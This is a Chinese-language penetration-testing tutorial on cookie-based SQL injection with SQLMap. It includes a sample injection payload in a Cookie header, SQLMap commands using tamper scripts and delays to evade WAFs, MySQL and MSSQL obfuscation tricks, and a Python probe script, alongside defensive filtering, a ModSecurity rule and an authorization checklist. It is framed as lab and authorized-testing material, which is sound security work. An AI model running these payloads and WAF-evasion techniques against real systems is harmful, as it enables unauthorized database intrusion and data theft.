SQLMap高级Cookie注入与WAF绕过实战手册
1. Cookie注入的核心原理与检测机制
HTTP Cookie作为Web应用维持会话状态的核心组件，常被开发者用于存储用户身份凭证。但鲜为人知的是，当服务端未对Cookie值进行严格过滤时，攻击者可通过篡改Cookie参数实施SQL注入。与传统GET/POST注入相比，这种攻击具有以下特征：
- 隐蔽性强：Cookie数据不会出现在URL或请求体中，常规安全设备往往忽略检测
- 绕过基础防护：多数WAF默认仅监控GET/POST参数，需要特殊配置才会检查Cookie
- 持久性高：恶意Cookie可长期保存在受害者浏览器中，实现持续攻击
SQLMap通过--level参数控制检测范围，其层级机制如下表所示：
| 检测等级 | 覆盖范围 |
|---|---|
| Level 1 | 仅测试GET/POST参数（默认） |
| Level 2 | 增加Cookie检测 |
| Level 3 | 扩展至User-Agent和Referer头部 |
| Level 4 | 包含Host头部检测 |
| Level 5 | 全头部检测+JSON/XML参数解析 |
典型漏洞场景示例：
GET /dashboard HTTP/1.1 Host: vuln-site.com Cookie: user_id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables));--2. 实战环境搭建与基础检测
2.1 靶场环境配置
推荐使用DVWA或sqli-labs模拟存在Cookie注入的漏洞环境。以sqli-labs Less-20为例：
- 启动靶场服务
docker run -d -p 8080:80 acgpiano/sqli-labs- 访问
http://localhost:8080/Less-20/并登录 - 使用浏览器开发者工具捕获Cookie值
2.2 基础检测命令
sqlmap -u "http://localhost:8080/Less-20/" \ --cookie="uname=admin*" \ --level=2 \ --batch关键参数解析：
*标记注入点位置--batch自动选择默认选项--level=2启用Cookie检测
注意：实际测试时应先使用
--risk=1低风险模式，避免破坏数据
3. 高级绕过技术与WAF对抗
3.1 常见WAF拦截特征
现代WAF通常通过以下机制防御注入攻击：
- 关键词黑名单（SELECT, UNION, CONCAT等）
- 特殊字符过滤（单引号、注释符等）
- 请求频率监控
- 异常参数长度检测
3.2 SQLMap绕过方案组合
3.2.1 Tamper脚本矩阵
| 脚本名称 | 功能描述 | 适用场景 |
|---|---|---|
| space2comment | 空格转/**/ | 过滤空格的WAF |
| charencode | URL编码转换 | 字符检查严格的系统 |
| randomcase | 随机大小写 | 大小写敏感检测 |
| equaltolike | = 转 LIKE | 等号过滤 |
| modsecurityzeroversioned | 去除版本信息 | ModSecurity规则触发 |
实战命令示例：
sqlmap -u "http://target.com/admin" \ --cookie="sessionid=1*" \ --tamper="space2comment,randomcase" \ --level=3 \ --delay=23.2.2 请求流量控制参数
--delay=1 # 每个请求间隔1秒 --timeout=15 # 连接超时设置为15秒 --retries=3 # 失败请求重试次数 --threads=2 # 并发线程数控制3.3 数据库特性利用技巧
不同数据库的绕过技巧：
MySQL:
/*!50000SELECT*/ 1 # 版本特定语法 SET @var=CONCAT(CHAR(83),CHAR(69),CHAR(76)); # 字符编码拼接MSSQL:
DECLARE @x NVARCHAR(100)=CHAR(83)+CHAR(69); # 变量声明方式 SELECT * FROM OPENQUERY(LOCALSERVER,'SELECT 1') # 分布式查询4. 企业级防护方案与检测报告
4.1 防御措施建议
输入验证：
// PHP示例：Cookie值过滤 $clean_id = preg_replace('/[^0-9]/', '', $_COOKIE['userid']);最小权限原则：
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpass'; GRANT SELECT ON appdb.* TO 'webuser'@'localhost';WAF规则配置：
# ModSecurity规则示例 SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES "@detectSQLi" \ "id:10001,phase:2,deny,msg:'SQL Injection Attempt'"
4.2 渗透测试报告要点
- 漏洞定位截图（包含HTTP请求/响应）
- 风险等级评估（CVSS评分）
- 具体复现步骤
- 修复时间线建议
- 长期监控方案
5. 自动化检测脚本开发
以下Python脚本可辅助识别基础Cookie注入漏洞：
import requests from urllib.parse import quote def check_cookie_injection(url, cookie_name): test_payloads = [ "'", "\"", "1 AND 1=1", "1 AND 1=2" ] for payload in test_payloads: cookies = {cookie_name: payload} try: r = requests.get(url, cookies=cookies) if "error" in r.text.lower() or "syntax" in r.text.lower(): return f"Vulnerable to cookie injection with payload: {payload}" except Exception as e: print(f"Error testing {payload}: {str(e)}") return "No basic cookie injection detected" # 使用示例 print(check_cookie_injection("http://test.com/profile", "user_id"))6. 法律合规与授权测试
进行安全测试前必须获取书面授权，明确约定：
- 测试时间窗口
- 目标系统范围
- 允许使用的技术手段
- 数据访问限制
- 应急响应流程
典型授权书应包含以下条款：
"测试方承诺仅在约定范围内使用SQLMap等工具，对获取的敏感数据严格保密，测试完成后立即销毁所有临时数据副本。"
